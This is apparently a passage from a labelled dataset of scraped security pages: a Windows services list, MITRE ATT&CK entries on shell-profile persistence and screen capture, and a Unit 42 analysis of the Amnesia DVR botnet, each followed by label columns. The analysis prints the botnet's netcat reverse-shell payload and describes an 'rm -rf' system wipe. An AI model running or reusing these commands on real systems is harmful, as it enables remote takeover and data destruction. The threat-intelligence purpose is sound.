in the Network and Dial-Up Connections folder in which you can view local area network (LAN) and remote connections. Print Spooler Manages all local and network print queues and controls all printing jobs. Protected Storage Protects storage of sensitive information, such as private keys and prevents access by unauthorized services, processes, or users. Remote Desktop Help Session Manager Manages and controls Remote Assistance. Remote Registry Enables remote users to modify registry settings on a computer. Removable Storage Manages and catalogs removable media and operates automated removable media devices. Resultant Set of Policy Provider Enables a user to connect to a remote computer, access the Windows Management Instrumentation (WMI) database for that computer, and either verify the current Group Policy settings made for the computer or check settings before they are applied. Routing and Remote Access Enables multi-protocol LAN-to-LAN, LAN-to-wide area network (WAN), virtual private network (VPN), and network address translation (NAT) routing services for clients and servers on the network. Security Accounts Manager Upon startup, signals other services that the Security Accounts Manager (SAM) is ready to accept requests. Shell Hardware Detection Provides notifications for AutoPlay hardware events. Task Scheduler Enables a user to configure and schedule automated tasks on the computer. Telephony Provides Telephony API (TAPI) support for clients using programs that control telephony devices and IP-based voice connections. Telnet Enables a remote user to log on to a computer and run programs; supports various TCP/IP Telnet clients, including UNIX-based and Windows-based computers. Terminal Services Allows users to connect interactively to a remote computer. Remote Desktop, Fast User Switching, Remote Assistance, and Terminal Server depend on this service. Terminal Services Session Directory Enables a user connection request to be routed to the appropriate terminal server in a cluster. Upload Manager Manages the synchronous and asynchronous file transfers between clients and servers on the network. Virtual Disk Service Provides software volume and hardware volume management service. Volume Shadow Copy Manages and implements Volume Shadow Copies used for backup and other purposes. Windows Audio Manages audio devices for Windows-based programs. Windows Image Acquisition (WIA) Provides image acquisition services for scanners and cameras. Windows Installer Installs, repairs, and removes software according to instructions contained in .MSI files. Windows Internet Name Service (WINS) Resolves NetBIOS names for TCP/IP clients by locating network services that use NetBIOS names. Windows Management Instrumentation Provides a common interface and object model to access management information about operating system, devices, applications, and services. If this service is stopped, most Windows-based software will not function properly. Wireless Configuration Enables automatic configuration for IEEE 802.11 adapters. WMI Performance Adapter Provides performance library information from WMI providers to clients on the network. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","1","0","0","0","1","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1" -".bash_profile and .bashrc - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise .bash_profile and .bashrc .bash_profile and .bashrc ~/.bash_profile and ~/.bashrc are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), ~/.bash_profile is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, ~/.bashrc is executed. This allows users more fine grained control over when they want certain commands executed. Mac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc. These files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell [1]. ID:\xc2 T1156 Tactic: Persistence Platform:\xc2 Linux, macOS Permissions Required:\xc2 User, Administrator Data Sources:\xc2 File monitoring, Process monitoring, Process command-line parameters, Process use of network Version:\xc2 1.0 Mitigations Mitigation Description Restrict File and Directory Permissions Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence. Examples Name Description HiddenWasp HiddenWasp installs reboot persistence by adding itself to /etc/rc.local. [3] Linux Rabbit Linux Rabbit maintains persistence on an infected machine through rc.local and .bashrc files. [2] Detection While users may customize their ~/.bashrc and ~/.bash_profile files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process. References Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018. Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019. Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","0","0","1","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"New IoT/Linux Malware Targets DVRs, Forms Botnet Menu Tools Playbooks Speaking Events About Us New IoT/Linux Malware Targets DVRs, Forms Botnet 31,828 people reacted 0 7 min. read Share By Claud Xiao and Cong Zheng April 6, 2017 at 1:00 PM Category: Unit 42 Tags: Amnesia, botnet, DVR, IoT, Linux, malware, Tsunami Unit 42 researchers have identified a new variant of the IoT/Linux botnet \xe2\x80\x9cTsunami\xe2\x80\x9d, which we are calling \xe2\x80\x9cAmnesia\xe2\x80\x9d. The Amnesia botnet targets an unpatched remote code execution vulnerability that was publicly disclosed over a year ago in March 2016 in DVR (digital video recorder) devices made by TVT Digital and branded by over 70 vendors worldwide\xc2 (a listing of which can be found on the original vulnerability report we\xe2\x80\x99ve linked to). Based on our scan data shown below in Figure 1, this vulnerability affects approximately 227,000 devices around the world with Taiwan, the United States, Israel, Turkey, and India being the most exposed. Figure 1\xc2 Distribution of Vulnerable TVT Digital\xe2\x80\x99s DVR devices In addition, we believe the Amnesia malware is the first Linux malware to adopt virtual machine evasion techniques to defeat malware analysis sandboxes. Virtual machine evasion techniques are more commonly associated with Microsoft Windows and Google Android malware. Similar to those, Amnesia tries to detect whether it\xe2\x80\x99s running in a VirtualBox, VMware or QEMU based virtual machine, and if it detects those environments it will wipe the virtualized Linux system by deleting all the files in file system. This affects not only Linux malware analysis sandboxes but also some QEMU based Linux servers on VPS or on public cloud. Amnesia exploits this remote code execution vulnerability by scanning for, locating, and attacking vulnerable systems. A successful attack results in Amnesia gaining full control of the device. \xc2 Attackers could potentially harness the Amnesia botnet to launch broad DDoS attacks similar to the Mirai botnet attacks we saw in Fall 2016. Even though this vulnerability was disclosed over a year ago, despite our best efforts, we have been unable to find updates that fix this vulnerability. While the Amnesia botnet hasn\xe2\x80\x99t yet been used to mount large scale attacks, the Mirai botnet attacks show the potential harm large-scale IoT-based botnets can cause. Palo Alto Networks recommends all customers ensure they have our latest protections in place. Additionally, everyone should block traffic to Amnesia\xe2\x80\x99s command and control servers (C2s) listed in Indicators of Compromise (IoC) section of this blog should do so. Technical Details Vulnerability Details On March 22, 2016, security researcher Rotem Kerner disclosed the vulnerability to the public. According to his blog, over 70 DVR vendors around the world were affected by the vulnerability. However, all the DVR devices were manufactured by the same company, \xe2\x80\x9cTVT Digital\xe2\x80\x9d. To date, we have been unable to find any patch released by the vendors or the manufacturer to address the vulnerability. Additionally, by using the fingerprint of \xe2\x80\x9cCross Web Server\xe2\x80\x9d, we discovered over 227,000 devices exposed on Internet that are likely produced by TVT Digital. We also searched the keyword on Shodan.io and on Censys.io. They reported about 50,000 and about 705,000 IP addresses respectively. Table 1 shows the top 20 Countries for potentially vulnerable TVT Digital DVR devices: 1. Taiwan 47170 2. United States 44179 3. Israel 23355 4. Turkey 11780 5. India 9796 6. Malaysia 9178 7. Mexico 7868 8. Italy 7439 9. Vietnam 6736 10. United Kingdom 4402 11. Russia 3571 12. Hungary 3529 13. France 3165 14. Bulgaria 3040 15. Romania 2783 16. Colombia 2616 17. Egypt 2541 18. Canada 2491 19. Iran 1965 20. Argentina 1748 Table 1 Top 20 Countries for potentially vulnerable TVT DVR Digital Devices Propagation and Vulnerability Exploitation Amnesia communicates with its C2 server using the IRC protocol. Figure 2 shows some commands it was designed to receive, including to launch DDoS attacks by different types of HTTP flooding and UDP flooding. Figure 2\xc2 C2 Commands of Amnesia In addition to these commands, two more commands were implemented: CCTVSCANNER and CCTVPROCS. These commands are used for scanning and exploiting the RCE vulnerability in TVT Digital DVRs. After receiving the commands, Amnesia will firstly make a simple HTTP request to the IP address included with the command, checking whether the target is a vulnerable DVR device. This is done by searching for a special string \xe2\x80\x9cCross Web Server\xe2\x80\x9d in the HTTP response content as shown in Figure 3 since the TVT Digital\xe2\x80\x99s DVRs used this string as server name in HTTP header. Figure 3\xc2 Check whether the target is a vulnerable DVR If a vulnerable DVR is found, Amnesia will send four more HTTP requests which contains exploit payloads of four different shell commands. The commands are: echo \xe2\x80\x9cnc\xe2\x80\x9d > f echo \xe2\x80\x9c{one_of_c2_domains}\xe2\x80\x9d >> f echo \xe2\x80\x9c8888 \xe2\x80\x93e $SHELL\xe2\x80\x9d >> f $(cat f) & > r These commands create a shell script file and execute it. The script content connects with one of Amnesia C2 servers and to expose system default shell. Therefore, the infected devices will be compromised and will listen further shell commands sent from C2 servers as shown in Figure 4 Figure 4\xc2 Exploit the RCE vulnerability Anti-Forensics When an Amnesia sample executes, it will immediately check whether it\xe2\x80\x99s running in a virtual machine by reading files /sys/class/dmi/id/product_name and /sys/class/dmi/id/sys_vendor and comparing the file contents with keywords \xe2\x80\x9cVirtualBox\xe2\x80\x9d, \xe2\x80\x9cVMware\xe2\x80\x9d and \xe2\x80\x9cQEMU\xe2\x80\x9d as shown in Figure 5. These two files are used by Linux DMI (Desktop Management Interface) to store hardware\xe2\x80\x99s product and manufacturer information. These strings being included in the DMI files implies that the Linux system is running in a virtual machine based on VirtualBox, VMware or QEMU, respectively. Figure 5\xc2 Inspects DMI files to detect VM If a virtual machine was detected, Amnesia will delete itself, and then try to delete all of the following directories: the Linux root directory \xe2\x80\x9c/\xe2\x80\x9d, the current user\xe2\x80\x99s home directory \xe2\x80\x9c~/\xe2\x80\x9d, and the current working directory \xe2\x80\x9c./\xe2\x80\x9d These delete operations are basically equivalent to wiping the whole Linux system. They were implemented by simply executing shell command \xe2\x80\x9crm -rf\xe2\x80\x9d as shown in Figure 6. For each directory, \xe2\x80\x9crm\xe2\x80\x9d command will be executed twice \xe2\x80\x93 one in the background, and one in the foreground. Hence, the deleting of the three directories will be parallel. Finally, Amnesia will wait for the delete to finish. Figure 6\xc2 Wipe the Linux system We believe the author of Amnesia was aiming to defeat Linux-based malware analysis sandboxes and to cause trouble for security researchers due to a hard-coded but otherwise useless string in the code: \xe2\x80\x9cfxxkwhitehats\xe2\x80\x9d. However, VM based sandboxes typically have system snapshot enabled, allowing for quick recovery to the original state (the sample\xe2\x80\x99s analysis task may be ruined though). The impact will be limited in these cases. The real problem is, if the malware infected some QEMU based Linux server instances, such as virtual hosts provided by VPS vendors, the Linux server will also be wiped, which could be catastrophic if back-ups are not available. After the VM check, Amnesia creates persistence files in /etc/init.d/.rebootime and /etc/cron.daily/.reboottime, or in ~/.bashrc and ~/.bash_history, depending on the current user\xe2\x80\x99s privileges. It then kills all Telnet and SSH related processes, and connects with a C2 server to receive further commands. Amnesia hard-coded three domain names such as \xe2\x80\x9circ.freenode.net\xe2\x80\x9d as decoy C2 server addresses. However, the real C2 configuration is decrypted during runtime by simple Caesar cipher algorithm. It chooses one of these three servers: ukranianhorseriding[.]net surrealzxc.co[.]za inversefierceapplied[.]pw All three of these domains have resolved to the same IP address 93.174.95[.]38 since December 1st, 2016. Before that, the IP address was also used to host other IoT/Linux malware such as DropPerl. Conclusion Besides the threat that the Amnesia botnet presents, the malware reveals some interesting and notable trends of current IoT/Linux botnet threats: IoT/Linux malware has begun to adopt classic techniques to evade and even wipe virtual machines. IoT/Linux malware targets and attacks known remote code execution vulnerabilities in IoT devices. These are typically manufactured by smaller manufacturers and there may be no patch available. IoT/Linux malware may also affect Linux servers deployed in VPS or in public cloud. In the case of Amnesia, because the malware relies on hard coded C2 addresses, preventing another Mirai-type attack is possible if these addresses are blocked as broadly as possible as quickly as possible. Update: After publishing this report, we learned of other researchers\xe2\x80\x99 past work on various aspects of this malware. As we mentioned in the introduction, the Tsunami bot has a long history, and this latest version incorporated new features, including a scanner to identify and exploit DVRs for CCTV systems as well as Anti-VM detection capabilities. The CCTV scanning and exploitation technique was previously discussed in these two reports. 8ack \xe2\x80\x93 Big Brother is attacking you CyberX \xe2\x80\x93 Radiation Report Researcher Michal Malik also noted this malware had VM detection capabilities in a Tweet in January: https://twitter.com/michalmalik/status/818182119285473282 Protections Palo Alto Networks has blocked the Domains used by this malware for command and control through PAN-DB and Threat Prevention. Indicators of Compromise C2 Domains and IP addresses ukranianhorseriding[.]net surrealzxc.co[.]za inversefierceapplied[.]pw 93.174.95[.]38 Amnesia Sample SHA-256 06d30ba7c96dcaa87ac584c59748708205e813a4dffa7568c1befa52ae5f0374 10aa7b3863f34d340f960b89e64319186b6ffb5d2f86bf0da3f05e7dbc5d9653 175fe89bbc8e44d45f4d86e0d96288e1e868524efa260ff07cb63194d04ea575 1d8bc81acbba0fc56605f60f5a47743491d48dab43b97a40d4a7f6c21caca12a 2f9cd1d07c535aae41d5eed1f8851855b95b5b38fb6fe139b5f1ce43ed22df22 327f24121d25ca818cf8414c1cc704c3004ae63a65a9128e283d64be03cdd42e 37b2b33a8e344efcaca0abe56c6163ae64026ccef65278b232a9170ada1972af 3a595e7cc8e32071781e36bbbb680d8578ea307404ec07e3a78a030574da8f96 4313af898c5e15a68616f8c40e8c7408f39e0996a9e4cc3e22e27e7aeb2f8d54 46ea20e3cf34d1d4cdfd797632c47396d9bdc568a75d550d208b91caa7d43a9b 4b0feb1dd459ade96297b361c69690ff69e97ca6ee5710c3dc6a030261ba69e0 4db9924decd3e578a6b7ed7476e499f8ed792202499b360204d6f5b807f881b8 5e6896b39c57d9609dc1285929b746b06e070886809692a4ac37f9e1b53b250c 64f03fff3ed6206337332a05ab9a84282f85a105432a3792e20711b920124707 6b2885a4f8c9d84e5dc49830abf7b1edbf1b458d8b9d2bafb680370106f93bc3 6b29b65c3886b6734df788cfc6628fbee4ce8921e3c0e8fc017e4dea2da0fd0b 885dce73237c4d7b4d481460baffbd5694ab671197e8c285d53b551f893d6c09 886136558ec806da5e70369ee22631bfb7fa06c27d16c987b6f6680423bc84b0 8f57ec9dfba8cf181a723a6ac2f5a7f50b4550dd33a34637cf0f302c43fd0243 9351ee0364bdbb5b2ff7825699e1b1ee319b600ea0726fd9bb56d0bd6c6670cb 9c7a5239601a361b67b1aa3f19b462fd894402846f635550a1d63bee75eab0a2 a010bf82e2c32cba896e04ec8dbff58e32eee9391f6986ab22c612165dad36a0 ad65c9937a376d9a53168e197d142eb27f04409432c387920c2ecfd7a0b941c8 aeb480cf01696b7563580b77605558f9474c34d323b05e5e47bf43ff16b67d6a b113ec41cc2fd9be9ac712410b9fd3854d7d5ad2dcaac33af2701102382d5815 b13014435108b34bb7cbcef75c4ef00429b440a2adf22976c31a1645af531252 b3d0d0e2144bd1ddd27843ef65a2fce382f6d590a8fee286fda49f8074711545 bdefa773e3f09cdc409f03a09a3982f917a0cc656b306f0ece3dd1a2564a8772 c03b403d5de9778a2ec5949d869281f13976c2fc5b071e0f5f54277680c80902 cb2382b818993ef6b8c738618cc74a39ecab243302e13fdddb02943d5ba79483 ce61dcfc3419ddef25e61b6d30da643a1213aa725d579221f7c2edef40ca2db3 d0bda184dfa31018fe999dfd9e1f99ca0ef502296c2cccf454dde30e5d3a9df9 e7d6b3e1fba8cdf2f490031e8eb24cd515a30808cdd4aa15c2a41aa0016f8082 eb54dc959b3cc03fbd285cef9300c3cd2b7fe86b4adeb5ca7b098f90abb55b8a f23fecbb7386a2aa096819d857a48b853095a86c011d454da1fb8e862f2b4583 f6af2fa4f987df773d37d9bb44841a720817ce3817dbf1e983650b5af9295a16 f7a737cb73802d54f7758afe4f9d0a7d2ea7fda4240904c0a79abae732605729 f7cf1e0d7756d1874630d0d697c3b0f3df0632500cff1845b6308b11059deb07 f97848514b63e9d655a5d554e62f9e102eb477c5767638eeec9efd5c6ad443d8 Ignite \xe2\x80\x9917 Security Conference: Vancouver, BC June 12\xe2\x80\x9315, 2017 Ignite \xe2\x80\x9917 Security Conference is a live, four-day conference designed for today\xe2\x80\x99s security professionals. Hear from innovators and experts, gain real-world skills through hands-on sessions and interactive workshops, and find out how breach prevention is changing the security industry. Visit the Ignite website for more information on tracks, workshops and marquee sessions. Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. Popular Resources Resource Center Blog Communities Tech Docs Unit 42 Sitemap Legal Notices Privacy Terms of Use Documents Account Manage Subscriptions \xc2 Report a Vulnerability \xc2\xa9 2019 Palo Alto Networks, Inc. All rights reserved.","0","0","0","1","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Screen Capture - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol 